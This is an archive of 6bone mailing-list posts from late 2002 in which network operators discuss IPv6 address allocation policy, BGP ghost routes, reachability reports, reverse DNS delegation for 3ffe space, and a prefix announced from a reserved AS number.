(2) the companies that do not wish to be dependant on another company for
their connectivity (political, multihomed, but also vanity).

If you grant every LIR an sTLA, you might end up with a bunch of companies
that become a LIR for the sole purpose of gaining an AS number and IPv4/IPv6
address block to be multihomed in the PA sense. I think we should have at
least some extra rules in place in order to get an AS number and an IPv6
address block.

By the way: the same holds for pTLAs. There should be some demonstrated
need (eg conducting tests or preproduction strategies). Perhaps both
can be quantified somehow. Also, we could discuss an upper bound on pTLA
allocation timeframe (said 24 months).

groet,
Pim
 
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From raffaele.dalbenzio@tilab.com Thu Nov 28 02:48:27 2002
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From: "Raffaele D'Albenzio" <raffaele.dalbenzio@tilab.com>
To: <6bone@ISI.EDU>
Date: Thu, 28 Nov 2002 11:47:50 +0100
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Subject: [6bone] New version of ASPath-tree available on line.
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A new version of ASPath-tree (4.0) is available on line.

Features of the new version:

-- Added support for other router platforms.
   -- This version supports not only Cisco platforms but also
      Zebra and Juniper platforms.
   
-- Improved BGP4+ routing table analysis:
   --supports ASsets and prepended AS numbers (showed in details pages)
   --choice to display received announces only (not consider local
advertisement)
   --possible to filter out all suppressed  or suppressed & learned
through iBGP
     route entries

-- new summary figures in home page page: 
 	--route summary (number of best/total routes), 
 	--AS summary (reserved ASes/private ASes), 
 	--Number of  active peers (in terms of received prefixes)
 	--AS distance summary

-- highlight of private/reserved ASs in use

You can download it starting from 
 http://carmen.ipv6.tilab.com/cgi-bin/download.pl?pkg=ASpath-tree

or see an example starting from  http://net-stats.ipv6.tilab.com/bgp


Regards,
Raffaele.



From ipng@uni-muenster.de Thu Nov 28 05:11:50 2002
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From: Christian Schild <ipng@uni-muenster.de>
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Organization: Westfaelische Wilhelms-Universitaet
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Date: Thu, 28 Nov 2002 14:11:46 +0100
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Subject: [6bone] Aggregation to /16 in the DFZ is not possible
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Dear 6boners,

lately there were some discussions on the 6bone list improving 
6bone traffic with the help of aggregating 6bone- or RIR-prefixes 
to a /16 aggreagate (3ffe::/16 and/or 2001::/16).

Please note that this should be avoided in any case, because 
if we do so, we would introduce a default route into the "DFZ".
As you might guess, this will lead to severe routing problems.

Regards,
     Christian

-- 
JOIN - IP Version 6 in the WiN  Christian Schild
                 A DFN project  Westfaelische Wilhelms-Universitaet Muenster
Project Team email:             Zentrum fuer Informationsverarbeitung
          join@uni-muenster.de  Roentgenstrasse 9-13
http://www.join.uni-muenster.de D-48149 Muenster / Germany
email: schild@uni-muenster.de,phone: +49 251 83 31638, fax: +49 251 83 31653


From rvdp@rvdp.org Thu Nov 28 07:03:29 2002
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Date: Thu, 28 Nov 2002 16:03:18 +0100
From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: "Raffaele D'Albenzio" <raffaele.dalbenzio@tilab.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] New version of ASPath-tree available on line.
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On Thu, Nov 28, 2002 at 11:47:50 +0100, Raffaele D'Albenzio wrote:

> A new version of ASPath-tree (4.0) is available on line.

Great. It is a nice tool which is installed at several sites. But
are people acting on the data?

> or see an example starting from  http://net-stats.ipv6.tilab.com/bgp

Hope you don't mind if I describe some data from your report. This
is not a personal attack. I just hope to identify problem sites.
I think your routing table is similar to many other sites.

SE-DCS-20021104 is very unstable
	many different AS paths

SE-DIGITAL-20010321 has 96% unavailability
	AS patch is: CHELLO - LITNET - SICS - AS8213

TNET-20011115 has 96% unavailability
	AS path is: CHELLO - LITNET

LT-DELFI-20020924 has 96% unavailability
	AS path is: CHELLO - LITNET - HLP IPV6

Ah, see the pattern. Do others see problems wit CHELLO or LITNET?

Many have 100% unavailability:
ZAMA-AP-20010320
SAMSUNGNETWORKS-KRNIC-KR-20010920
TOCN-20020513
NUS-SG-19990827
DISN-LES-V6
SPRINT-V6
UNAM-IPV6
QWEST-IPV6-1
WAYPORT-IPV6
EU-DANTE-20020131
SKTELECOMNET-KRNIC-KR-20010406
CERNET-CN-20000426
AOLTIMEWARNER
KOLNET-KRNIC-KR-20000927
HANANET-KRNIC-KR-20001030
DE-ECRC-19991223
NGINET-KRNIC-KR-20010115
UK-INS-20010518
FBDC-JPNIC-JP-20020524
IT-GARR-20011004
DE-JIPPII-20000426
DREN-V6
ETRI-KRNIC-KR-19991124
IT-CSP-20020725
EP-NET
INTEROP-JP-20020617
PL-CYFRONET-20010221
AT-INODE-20021112
CANET3-IPV6
KREONET2-KRNIC-KR-20010823
NET-CW-10BLK
FI-SONERA-20011231
FR-TELECOM-20000623
CISCO-IPV6-1

That's a large part of the 6bone that is unreachable from your site.

	rvdp

From Raffaele.Dalbenzio@TILAB.COM Thu Nov 28 07:45:33 2002
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From: "D'Albenzio Raffaele" <Raffaele.Dalbenzio@TILAB.COM>
Subject: RE: [6bone] New version of ASPath-tree available on line.
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
Cc: 6bone@ISI.EDU
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Hello Ronald,

no problem for your comments.

About the 100% unavailability of RIR allocated prefixes sometimes the
problem is because
there are some LIRs that asked to extend their prefix from /35 to /32
but they continue 
announcing /35.

From ASPath-tree point of view in that case the real prefix it should
see is a /32. and
if the /32 is not present in the the routing table thant ASPath-tree
considers the sTLA 
unavailable.

Regards,
Raffaele.

> -----Original Message-----
> From: Ronald van der Pol [mailto:Ronald.vanderPol@rvdp.org] 
> Sent: Thursday, November 28, 2002 4:03 PM
> To: D'Albenzio Raffaele
> Cc: 6bone@ISI.EDU
> Subject: Re: [6bone] New version of ASPath-tree available on line.
> 
> 
> On Thu, Nov 28, 2002 at 11:47:50 +0100, Raffaele D'Albenzio wrote:
> 
> > A new version of ASPath-tree (4.0) is available on line.
> 
> Great. It is a nice tool which is installed at several sites. 
> But are people acting on the data?
> 
> > or see an example starting from  http://net-stats.ipv6.tilab.com/bgp
> 
> Hope you don't mind if I describe some data from your report. 
> This is not a personal attack. I just hope to identify 
> problem sites. I think your routing table is similar to many 
> other sites.
> 
> SE-DCS-20021104 is very unstable
> 	many different AS paths
> 
> SE-DIGITAL-20010321 has 96% unavailability
> 	AS patch is: CHELLO - LITNET - SICS - AS8213
> 
> TNET-20011115 has 96% unavailability
> 	AS path is: CHELLO - LITNET
> 
> LT-DELFI-20020924 has 96% unavailability
> 	AS path is: CHELLO - LITNET - HLP IPV6
> 
> Ah, see the pattern. Do others see problems wit CHELLO or LITNET?
> 
> Many have 100% unavailability:
> ZAMA-AP-20010320
> SAMSUNGNETWORKS-KRNIC-KR-20010920
> TOCN-20020513
> NUS-SG-19990827
> DISN-LES-V6
> SPRINT-V6
> UNAM-IPV6
> QWEST-IPV6-1
> WAYPORT-IPV6
> EU-DANTE-20020131
> SKTELECOMNET-KRNIC-KR-20010406
> CERNET-CN-20000426
> AOLTIMEWARNER
> KOLNET-KRNIC-KR-20000927
> HANANET-KRNIC-KR-20001030
> DE-ECRC-19991223
> NGINET-KRNIC-KR-20010115
> UK-INS-20010518
> FBDC-JPNIC-JP-20020524
> IT-GARR-20011004
> DE-JIPPII-20000426
> DREN-V6
> ETRI-KRNIC-KR-19991124
> IT-CSP-20020725
> EP-NET
> INTEROP-JP-20020617
> PL-CYFRONET-20010221
> AT-INODE-20021112
> CANET3-IPV6
> KREONET2-KRNIC-KR-20010823
> NET-CW-10BLK
> FI-SONERA-20011231
> FR-TELECOM-20000623
> CISCO-IPV6-1
> 
> That's a large part of the 6bone that is unreachable from your site.
> 
> 	rvdp
> 


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From nicolas.deffayet@ndsoftware.net Thu Nov 28 16:24:02 2002
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From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@mailman.isi.edu>,
   6bone reverse DNS registration <hostmaster@ep.net>
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Subject: [6bone] Re: 6bone pTLA 3FFE:4013::/32 allocated to NDSOFTWARE
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Hello,

> [To create a reverse DNS registration for pTLAs, please send the prefix 
> allocated above, and a list of at least two authoritative nameservers, to 
> hostmaster@ep.net.]

I have send an email on 11 Nov 2002 04:13:55 +0100 to hostmaster@ep.net
for createa reverse DNS registration for 3ffe:4013::/32.

I have resend my email 3 times but always no reply of hostmaster@ep.net

How NDSoftware can get reverse for its pTLA if hostmaster@ep.net don't
reply ?


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From pim@ipng.nl Fri Nov 29 12:31:12 2002
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Date: Fri, 29 Nov 2002 21:28:48 +0100
From: Pim van Pelt <pim@ipng.nl>
To: schild@uni-muenster.de
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Aggregation to /16 in the DFZ is not possible
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On Thu, Nov 28, 2002 at 02:11:46PM +0100, Christian Schild wrote:
| Dear 6boners,
| 
| lately there were some discussions on the 6bone list improving 
| 6bone traffic with the help of aggregating 6bone- or RIR-prefixes 
| to a /16 aggreagate (3ffe::/16 and/or 2001::/16).
 
I was thinking more along the lines of two routers for IPv6. One would
be connected to AMS-v6-IX natively (in my case) and does not accept any
3ffe::/16 stuff, the other would accept any prefixes from its peers
but tag them with a lower localpref so routes over AMS-IX would be more
prefered. I think this will solve near-local connectivity issues for my
particular setup.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From synviv@yahoo.com Fri Nov 29 12:49:24 2002
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Subject: [6bone] IPv6 Transition help
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Hello Group,

I am a Masters' student in Computer Networking at a
University in United States presently working on
migration from IPv4 to IPv6. My project aims at not
only describing these transition mechanisms but also
providing scenarios/cases where one transition
mechanism would be more beneficial than the other with
reasons. Although there are hundreds of links
available for the transition mechanisms there are few
that aid in choosing a specfic mechanism over the
other. Let me give you a more detailed perspective of
what I really want.

From RFC 2893: The following transition mechanisms are
described

Dual IP layer (also known as Dual Stack):  A technique
for
providing complete support for both Internet protocols
-- IPv4 and
IPv6 -- in hosts and routers.

Configured tunneling of IPv6 over IPv4: 
Point-to-point tunnels
made by encapsulating IPv6 packets within IPv4 headers
to carry
them over IPv4 routing infrastructures.

IPv4-compatible IPv6 addresses:  An IPv6 address
format that
      employs embedded IPv4 addresses.

Automatic tunneling of IPv6 over IPv4:  A mechanism
for using
IPv4-compatible addresses to automatically tunnel IPv6
packets
over IPv4 networks.

Now given the above 4 mechanisms, under what scenarios
would u choose one over the other. What factors should
I consider. I have come up with cost,time to process
the packets, complexity etc. Since I do not have nay
industry relevant experience I am banking on this
mailing group to provide me with some helpful
information. Looking forward to your response.

Cheers.





__________________________________________________
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now.
http://mailplus.yahoo.com

From bmanning@ISI.EDU Sat Nov 30 20:37:13 2002
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travel, vacation, and student changes have conspired to delay this
announcement beyond the patience level of the requestor.  I am sorry.


;; QUESTION SECTION:
;3.1.0.4.e.f.f.3.ip6.int.       IN      NS

;; AUTHORITY SECTION:
3.1.0.4.e.f.f.3.ip6.int. 86400  IN      NS      ns1.ndsoftwarenet.com.
3.1.0.4.e.f.f.3.ip6.int. 86400  IN      NS      ns2.ndsoftwarenet.com.
3.1.0.4.e.f.f.3.ip6.int. 86400  IN      NS      ns3.ndsoftwarenet.com.


-- 
"When in doubt, Twirl..."  -anon

From trent@irc-desk.net Sun Dec  1 05:22:08 2002
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Subject: [6bone] IPv6 Mini-Conference
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Greetings!

Well its happening! In the last year or so, the use of IPv6 has been 
booming with the advent of news web sites, increasingly popular tunnel 
brokers and simply more users! So I have decided to run a mini-conference 
prior to Linux.Conf.Au

Linux.conf.au is the Australian Technical Linux Conference - it tours 
around the Australian cities every year organised by the local LUG in that 
region - this year it is being hosted by PLUG - The Perth Linux Users Group 
in Perth, Western Australia. The speaker line up for 2003 is looking to be 
great and is now available on the website - see http://www.linux.conf.au

You can register for the IPv6 mini-conference at 
http://ipv6.ztsoftware.net/register.php and view the current schedule at 
http://ipv6.ztsoftware.net/schedule.php

The IPv6 mini-conference will be held before the start of linux.conf.au on 
Monday 20th January. To attend the IPv6 Conference - you must also attend 
the main conference ... or else ... The IPv6 mini-conference is included 
with every ticket to linux.conf.au! That's two for the price of one - also 
running on the second day will be the Linux Gaming Mini Conference - for 
all your fragging needs - as well as the educationaLinux and Debian 
mini-conferences.

We are also looking for more speakers! We currently have 2-3 slots open for 
other speakers to participate - so give Trent 'Lathiat' Lloyd an email at 
trent AT ztsoftware DOT net - and check out the website at 
http://ipv6.ztsoftware.net/ (Its IPv6 Connected too!)

Well I hope to see all of you registering, coming along and having a LOT of 
fun, if you have any question just give me a yell - trent(AT)ztsoftware(DOT)net

-- Trent Lloyd (IPv6 Mini-Conference Organiser)


From jeroen@unfix.org Sun Dec  1 08:34:17 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <v6ops@ops.ietf.org>, <6bone@ISI.EDU>
Cc: <dnofal@CVTCI.COM.AR>, <radovic@net.yu>, <stana@verat.net>,
   <awl@verat.net>, <wlf@verat.net>, <noc@noc.dfn.de>, <kukl@tbit.dk>,
   <hha@tbit.dk>, <Anders.Bandholm@uni-c.dk>, <Ole.Kjaergaard@uni-c.dk>
Date: Sun, 1 Dec 2002 17:34:52 +0100
Organization: Unfix
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Subject: [6bone] Ghost Route Hunter
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I am proud to present a smallish analytical tool
we've developed for tracking down Ghost Routes.

The tool is called: Ghost Route Hunter and can be found at:
https://www.sixxs.net/tools/grh/

It analyzes routing table dumps and filters out all 'good'
ASpaths. The remaining ASpaths are too long and are so called
'ghost routes'. These Ghost Routes cause the blackholing effect
seen many times before when upgrading RIR space from a /35 to a /32.

We've just conducted a small test by announcing the Easynet
prefix 2001:6f8:e000::/35, which wasn't used and announced before.
Easynet only announces 2001:6f8::/35 at this moment due to the
danger of ghostroutes when upgrading it to a /32.

At 14:30* it wasn't visible yet as a ghost route, at the
next table collection at 14:45 it was visible as a ghost route
in both the routers of Tilab and Noris.
At 15:00 it was only visible on the Intouch router but it had
spread quite rapidly already around the world creating a long ASpath.
Then we retracted the route again and at 15:20 it fortunatly vanished.

Would this been a real announcement, eg by upgrading a /35 to a /32
this would have caused a blackhole for the complete /32 unless
the /35 would have been announced forever.

One very important thing we saw with this small test was the fact
that VERAT where originating the prefix at one moment.
Also DFN (JOIN) which appears in about 90%+ of all the ghost routes
should check up their equipment. Another possible important player
in this could be AS10318 (Cablevision S.A.) which isn't even in the
european continent nor peering directly with the ghosted prefixes.

Currently there are still 4 big ghost routes floating around:
- 3ffe:100::/24
netname:      TELEBIT
descr:        pTLA delegation for the 6bone
Which dropped of the internet around tuesday when looking at the latency
graphs*.
ipv6telebit.tbit.dk is unreachable over IPv4. The graphs also show that
it was
only reachable from two out six sites.

- 3ffe:1400::/24
netname:      UNI-C
descr:        pTLA delegation for the 6bone
remarks:      ***************************************
remarks:      * * * *  no longer operational  * * * *
remarks:      ***************************************

But still visible and ghosted and not officially retracted!

Last changed line:
changed:      Anders.Bandholm@uni-c.dk 20010420

This would mean that the route would have been gone for over a year and
a half!
This route is currently announced by VERAT and Deutsche Telekom though.

- 3ffe:1e00::/24
ipv6-site:    SWISSCOM
origin:       AS3303
descr:        Swisscom Innovations

No netname available apparently. But it is currently announced by:
source: APNIC  
aut-num: AS4697  
as-name: NTTV6NET  
descr: NTT Software Laboratories  

I have already contacted these people seperatly, no response as yet.
Nothing in their 6bone object seems reachable.

- 3ffe:8010::/28
ipv6-site:    ICM-PL
origin:       AS8664
descr:        Interdisciplinary Centre for Mathematical and
Computational Modelling
              Warsaw University, Poland

Origin is currently ICM-PL and ICP-AS.
6bone-gw.6bone.pl is unreachable over IPv4 and IPv6

http://www.6bone.net/6bone_pTLA_list.html doesn't show that NL-BIT6/NL
was
returned. Apparently 3ffe:1400::/24 should say that too.

* direct links:
14:30
https://www.sixxs.net/tools/grh/ghosts/?year=2002&month=12&day=01&time=1
43017
15:00
https://www.sixxs.net/tools/grh/ghosts/?year=2002&month=12&day=01&time=1
50009
15:20
https://www.sixxs.net/tools/grh/ghosts/?year=2002&month=12&day=01&time=1
52013
Latency graphs: https://www.sixxs.net/misc/latency/

Companies mentioned have been CC'd.
This goes to both v6ops and 6bone as it causes many effects in both RIR
and 6bone space.

Greets,
 Jeroen


From nicolas.deffayet@ndsoftware.net Sun Dec  1 09:32:49 2002
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Subject: Re: [6bone] Ghost Route Hunter
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: 6bone@ISI.EDU
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On Sun, 2002-12-01 at 17:34, Jeroen Massar wrote:

> One very important thing we saw with this small test was the fact
> that VERAT where originating the prefix at one moment.
> Also DFN (JOIN) which appears in about 90%+ of all the ghost routes
> should check up their equipment. Another possible important player
> in this could be AS10318 (Cablevision S.A.) which isn't even in the
> european continent nor peering directly with the ghosted prefixes.

AS10318 (FIBERTEL) is the common ASN of all ghost routes.

See my stats of 2002-11-21: http://noc.ndsoftwarenet.com/bgp-ghost.html


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From gert@Space.Net Sun Dec  1 15:16:29 2002
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From: Gert Doering <gert@space.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: v6ops@ops.ietf.org, 6bone@ISI.EDU, dnofal@CVTCI.COM.AR, radovic@net.yu,
   stana@verat.net, awl@verat.net, wlf@verat.net, noc@noc.dfn.de, kukl@tbit.dk,
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Subject: [6bone] Re: Ghost Route Hunter
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Hi,

On Sun, Dec 01, 2002 at 05:34:52PM +0100, Jeroen Massar wrote:
> At 14:30* it wasn't visible yet as a ghost route, at the
> next table collection at 14:45 it was visible as a ghost route
> in both the routers of Tilab and Noris.
> At 15:00 it was only visible on the Intouch router but it had
> spread quite rapidly already around the world creating a long ASpath.
> Then we retracted the route again and at 15:20 it fortunatly vanished.

I just want to point out that this is mostly normal BGP behaviour in
the face of highly meshed topologies and/or participating routers
with a slow CPU.  

The way BGP works upon withdraw (figure out what's the "second best
path", and happily announce that path to all your neighbors, and
do not announce the next update before minute has passed!) it's pretty
normal for a route to "ghost around" for 30 minutes or even longer
after a full withdraw.  If you look at a BGP table in that time, the
path will be changing every few minutes.

You can observe this in the IPv4 world as well - if you withdraw a prefix
completely, and then do traceroutes on that route, you'll see that it
will be routed for quite a while before it finally is dropped from the
DFZ.  It usually takes 15-20 minutes, but the IPv4 world is much less
tightly meshed due to policitical reasons.

(This behaviour is also known from RIP, and from there it's also called
"count to infinity" for BGP)

The thing that I have called "Ghost Routes" was something different - one
of the routers involved not properly propagating the withdraw to all
his neighbors.  After all other paths have disappeared, this prefix is
still seen by the neighbor (no regular "full sync" in BGP) and believed
until the next session clear.  This can be seen in the routing table as
a static BGP path that isn't changing over many hours or in some cases
even over many days or weeks.

[..]
> Would this been a real announcement, eg by upgrading a /35 to a /32
> this would have caused a blackhole for the complete /32 unless
> the /35 would have been announced forever.

... for those 75 minutes, yes.

> One very important thing we saw with this small test was the fact
> that VERAT where originating the prefix at one moment.
> Also DFN (JOIN) which appears in about 90%+ of all the ghost routes
> should check up their equipment. Another possible important player
> in this could be AS10318 (Cablevision S.A.) which isn't even in the
> european continent nor peering directly with the ghosted prefixes.

I wouldn't point fingers at ASes and equipment yet (not without
evidence that the prefix really gets stuck for a longer time).

But it is strong evidence that the "6mess" needs to cleaned up 
Real Soon Now, i.e.: don't give everybody *and the whole world behind
him* transit everyhwere.

[..]
> Currently there are still 4 big ghost routes floating around:
> - 3ffe:100::/24
> netname:      TELEBIT

Seconded, this looks very much like a ghost.  The paths that I observe
are completely unchanged since over 24 hrs.  From a cursory view, it
seems to be stuck in 1275 or between 1275 and 2603.

> - 3ffe:1400::/24
> netname:      UNI-C

I don't have that prefix.

> - 3ffe:1e00::/24
> ipv6-site:    SWISSCOM

Seconded.  Overly long AS paths, static since > 24 hrs.

> - 3ffe:8010::/28
> ipv6-site:    ICM-PL

Seconded.  Overly long AS paths, static since > 24 hrs.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54136  (50279)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From ipng@uni-muenster.de Mon Dec  2 04:15:55 2002
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From: Christian Schild <ipng@uni-muenster.de>
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To: "Jeroen Massar" <jeroen@unfix.org>, <6bone@ISI.EDU>
Subject: Re: [6bone] Ghost Route Hunter
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Hi Jeroen, all,

Am Sonntag, 1. Dezember 2002 17:34 schrieb Jeroen Massar:
> Also DFN (JOIN) which appears in about 90%+ of all the ghost routes
> should check up their equipment. Another possible important player

we are aware of this fact for quite some time now and it did not pass
us unconcerned. Still, JOIN is one of the largest POPs in 6bone, so the 
high value might just be a consequence of this fact. We discussed the 
route withdrawal problem with most of our peering partners and we are 
quite sure that we do not orginate them. 

Anyway, as we are not certain of this, please note that we decided to 
exchange the equipment we use (no, it's currently _not_ a software
router :-). This will happen this week. 

So please take this message also as an announcement that there will be 
an outage of the JOIN POP (involving/including all our leaf sites with 
prefix 3ffe:400::/24) on Wednesday, 4th December, hopefully only in the 
morning (CET). 

So long,
     Christian

-- 
JOIN - IP Version 6 in the WiN  Christian Schild
                 A DFN project  Westfaelische Wilhelms-Universitaet Muenster
Project Team email:             Zentrum fuer Informationsverarbeitung
          join@uni-muenster.de  Roentgenstrasse 9-13
http://www.join.uni-muenster.de D-48149 Muenster / Germany
email: schild@uni-muenster.de,phone: +49 251 83 31638, fax: +49 251 83 31653


From pasky@machine.sinus.cz Mon Dec  2 07:32:38 2002
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From: Petr Baudis <pasky@xs26.net>
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Subject: [6bone] [andrei@ripe.net: [ipv6-wg@ripe.net] Re: ip6.arpa for 6bone]
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  Hello,

  since this is a vital issue for the 6bone community, I decided to forward
this email here:

----- Forwarded message from Andrei Robachevsky <andrei@ripe.net> -----

From: Andrei Robachevsky <andrei@ripe.net>
To: Petr Baudis <pasky@pasky.ji.cz>
Subject: [ipv6-wg@ripe.net] Re: ip6.arpa for 6bone
Date: Mon, 02 Dec 2002 16:06:17 +0100
Cc: Gert Doering <gert@space.net>, ipv6-wg@ripe.net,
	David Kessens <david@IPRG.nokia.com>
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Dear Colleagues,

Petr Baudis wrote:
> Dear diary, on Thu, Nov 07, 2002 at 12:31:33PM CET, I got a letter,
> where Andrei Robachevsky <andrei@ripe.net> told me, that...
>
>> Hi,
>
>
> Hello,
>
>
>>> There's no need for the RIRs to actually do anything, besides
>>> give up the blockade position "the 6bone is not a RIR and per the
>>> RFC, only RIRs can do reverse delegation under ip6.arpa".  Have
>>> IANA delegate e.f.f.3.ip6.arpa to the same set of servers as
>>> e.f.f.3.ip6.int (as per Bill Manning's request that was denied
>>> due to RIR disapproval), and be done with it.
>>>
>>
>> We are looking for a pragmatic solution to this technical problem.
>> This will be discussed with the other RIRs in the course of the
>> next week and at IETF. We expect to have a solution in place by the
>> end of November.
>
>
> since it's Nov 30 today, I would like to ask about progress in this
> issue.
>
> Thanks in advance,
>

Following the request from the community we investigated
possibilities to provide a pragmatic technical solution
for reverse DNS delegation under ip6.arpa, for the space
allocated for 6bone purposes (3ffe). It was understood
that the request was to provide a solution before a final
decision is made on the future management of the 3ffe
address space.

This issue was discussed between the RIRs at the IETF-55
meeting. As a result the RIRs have forwarded the request
to place the 3ffe space in the ip6.arpa zone to the IAB,
seeing that it would be an action that is contrary
to RFC 3152. If the request is honoured we will be able
to present a proposal for your review.

Best regards,


Andrei Robachevsky
CTO, RIPE NCC


----- End forwarded message -----

  Kind regards,

-- 
 
				Petr "Pasky" Baudis
.
> I don't know why people still want ACL's. There were noises about them for
> samba, but I'v enot heard anything since. Are vendors using this?
Because People Are Stupid(tm).  Because it's cheaper to put "ACL support: yes"
in the feature list under "Security" than to make sure than userland can cope
with anything more complex than  "Me Og.  Og see directory.  Directory Og's.
Nobody change it".  C.f. snake oil, P.T.Barnum and esp. LSM users
        -- Al Viro
.
Crap: http://pasky.ji.cz/

From jeroen@unfix.org Mon Dec  2 08:45:48 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <schild@uni-muenster.de>, <6bone@ISI.EDU>, <v6ops@ops.ietf.org>
Subject: RE: [6bone] Ghost Route Hunter
Date: Mon, 2 Dec 2002 17:46:23 +0100
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Christian Schild [mailto:ipng@uni-muenster.de] wrote:

> Hi Jeroen, all,
> 
> Am Sonntag, 1. Dezember 2002 17:34 schrieb Jeroen Massar:
> > Also DFN (JOIN) which appears in about 90%+ of all the ghost routes
> > should check up their equipment. Another possible important player
> 
> we are aware of this fact for quite some time now and it did not pass
> us unconcerned. Still, JOIN is one of the largest POPs in 
> 6bone, so the high value might just be a consequence of this fact. We
discussed the 
> route withdrawal problem with most of our peering partners and we are 
> quite sure that we do not orginate them. 

That's also the case for VBNS, HURRICANE, UUNET and ABILENE who pass
along many routes over their native connections. At this moment (17:20)
UUNET, GBLX, DFN, Caladan and VERAT carry all ghost routes. That's the
'problem' of being a transit :) Their equipment could be perfect but
apparently somebody downstream or upstream could peep it up.

> Anyway, as we are not certain of this, please note that we decided to 
> exchange the equipment we use (no, it's currently _not_ a software
> router :-). This will happen this week. 
> 
> So please take this message also as an announcement that 
> there will be 
> an outage of the JOIN POP (involving/including all our leaf 
> sites with prefix 3ffe:400::/24) on Wednesday, 4th December, hopefully

> only in the morning (CET). 

Perfect! I like the fact that you respond and give a notice of the
fact that your actively pursuing the problems with ofcourse the target
to solve it.

Also 2 ghost routes have vanished already:

3ffe:100::/24 now only has a short path to 3263 (TELEBIT-DK).
Which was last seen at 2002-12-02 08:40.

3ffe:8010::/28 now only has a short path to 8664 (ICM-PL).
Which was last seen at 2002-12-02 15:10.

I due hope to hear comments from the concerned parties if they have
any relevant information about the disappearance of these ghosts.

Left are of which I heared nothing (yet, I hope):
3ffe:1400::/24 
3ffe:1e00::/24 

Greets,
 Jeroen



From Emanuele.Logalbo@TILAB.COM Mon Dec  2 08:59:33 2002
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Date: Mon, 02 Dec 2002 17:58:32 +0100
From: Lo Galbo Emanuele <Emanuele.Logalbo@TILAB.COM>
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Hi;
I am settig up an ipv6 multicast network in my lab.I have two cisco routers(3600,7200) and i thought to use freeBsd and Kame patch for the implementation.
What do you thik about?
Could you suggest me anything about?
Could i implement it in a differt way?
 



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From dios-vol@telecom.noc.udg.mx Mon Dec  2 09:12:24 2002
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From: Harold de Dios Tovar  <dios-vol@telecom.noc.udg.mx>
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Hi Lo, I supose that you know that actullay Cisco is not implementing IPv6
multicast but we hope that Cisco people delivered the IOS with multicast
support the next year 2003.

But you can implement multicast using a freeBSD host to router multicast
ipv6 the tools are very stable.


** Texto sin acentos
        
---------------------------------       
 N.O.C & IPv6 staff working Group
------------------------------------
   Harold de Dios, harold@noc.udg.mx 
   UdeG, Network Operation Center  
   Work: 011(52)3331342232 ext.2220 
   ---------------------------------


On Mon, 2 Dec 2002, Lo Galbo Emanuele wrote:

> Hi;
> I am settig up an ipv6 multicast network in my lab.I have two cisco routers(3600,7200) and i thought to use freeBsd and Kame patch for the implementation.
> What do you thik about?
> Could you suggest me anything about?
> Could i implement it in a differt way?
>  
> 
> 
> 
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> CONFIDENTIALITY NOTICE
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> ====================================================================
> _______________________________________________
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> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From jeroen@unfix.org Mon Dec  2 12:17:50 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
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Date: Mon, 2 Dec 2002 21:18:31 +0100
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Subject: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32
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While snooping around I found the following:

*  3ffe:400f::/32                                              0 13110
6939 6939 6435 6342 45333 i
     2001:6e0:0:113::2(fe80::3e15:6206)
*  3ffe:400f::/32                               10             0 12859
3265 3549 6175 6435 6342 45333 i
     2001:7f8:1::a501:2859:1(fe80::202:4aff:fe8a:a000)
------->8

See below for more paths.

8<--------
ipv6-site:    UACH
origin:       AS11340
descr:        Universidad Austral de Chile(ASN from REUNA)
              Instituto de Informatica
country:      CL
prefix:       3FFE:400F::/32
-------->8

Did somebody sneak behind and steal this prefix???
I also remember certain sites saying that they are filtering on reserved
ASN's.
Those certain sites will know who we mean :)

Ofcourse Compendium-AR are also using a reserved AS but
that is a 'known' odd one out and is documented in the 6bone db.
They should kick LACNIC, maybe they can get a special new entrance fee
or something?

Greets,
 Jeroen

8<------
*  3ffe:400f::/32                                              0 5609 22
109 6435 6342 45333 i
     3ffe:1001:1:f00d::1(fe80::a3a2:aa81)
*  3ffe:400f::/32                                              0 8664
9112 2200 766 3597 45333 i
     3ffe:8010:2c::1(fe80::c1db:1cf6)
*  3ffe:400f::/32                                              0 3265
3549 6175 6435 6342 45333 i
     2001:7f8:1::a500:3265:2
*  3ffe:400f::/32                                              0 3265
3549 6175 6435 6342 45333 i
     2001:7f8:1::a500:3265:1
*  3ffe:400f::/32                                              0 1275
3320 109 109 6435 6342 45589 i
     3ffe:401:0:1::17:1(fe80::2c0:33ff:fe07:8042)
*  3ffe:400f::/32                                              0 517
8472 6830 6175 6435 6342 45333 i
     2001:680:0:1::10(fe80::c18d:280c)
*  3ffe:400f::/32                                1             0 4554
109 6435 6342 45333 i
     3ffe:800::fffb:0:0:5(fe80::c620:401)
*  3ffe:400f::/32                              500             0 109 109
6435 6342 45333 i
     3ffe:c00:8023:1f::1(fe80::806b:f0fe)
*> 3ffe:400f::/32                                              0 13193
25358 6435 6342 45333 i
     2001:6e0:0:112::2(fe80::3e04:101c)
*  3ffe:400f::/32                                              0 513
2200 766 3597 45333 i
     3ffe:8120::19:1(fe80::c041:b907)
*  3ffe:400f::/32                                              0 8379
8379 6435 6342 45333 i
